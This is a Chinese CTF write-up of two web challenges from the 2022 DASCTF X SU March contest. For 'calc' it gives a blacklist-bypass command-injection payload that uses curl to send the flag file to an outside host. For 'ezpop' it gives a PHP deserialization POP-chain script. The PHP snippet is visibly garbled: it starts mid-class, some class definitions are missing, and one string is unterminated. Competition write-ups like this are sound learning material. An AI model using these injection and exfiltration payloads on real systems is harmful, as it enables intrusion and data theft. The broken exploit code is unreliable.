2022DASCTF X SU 三月春季挑战赛

WriteUP

此博客为比赛时协作文档的整理，包括后期复现的一些修改，感谢一起打比赛的小伙伴们

比赛地址

https://buuoj.cn/match/matches/89

起止时间

2022年3月26日 10:00 – 2022年3月26日 18:00

WEB

calc

题目主要绕过blacklist，执行python命令，提取flag
()&之类的都被过滤了，没有可用的文件读取手段
已知可执行指令exec，但过滤了()，可以直接exec '指定语句'，但是过滤了空格
最后发现可以访问外网，可以通过反引号绕过检测，并且通过#允许eval()执行
123#ls
然后可以使用curl把flag带出来

http://uuid4.node4.buuoj.cn:81/calc?num=1%23curl%09http://api.hz2016.com/?flag=\cat%09Th1s*“

这里MTGG补充了个很重要的信息，关于#注释的运用
Unix

如果#号和字符紧贴着的话会被视为字符而不是注释符，加上反斜杠可以把#号转义为普通字符

Python

无论紧贴与否都视为注释，无法用反斜杠转义

所以很快想到了Payload

1#`rce`

另外一点
之后考虑外带，空格可以用%09绕过，反引号可以嵌套使用，记得加上转义

ezpop

a = new fin();
    }
}
class mix{
    public $m1;
    public function __construct(){
        $this->m1 = "?>m1);
    }
}
class fin{
    public $f1;//这里其实好像少了点什么
    public function __construct(){
        $this->f1 = array(new mix(), 'get_flag');
    }
}
$a = new fin();
$a->f1 = new what();
echo urlencode(serialize($a));

当前目录有个flag.php。但是是假的
可以读取到根目录下有个flag.sh
但是用SplFileObject只能读出一行来，应该是来执行的
好可爱的一道题，终于有简简单单的pop链了
fin->(调用destruct)->what->(调用tostring）->fin->(调用run)->crow->(调用invoke)->fin->(调用call)->mix->(getflag)
绕过井号：利用?>`标签绕过，也可以添加换行符`\n进行绕过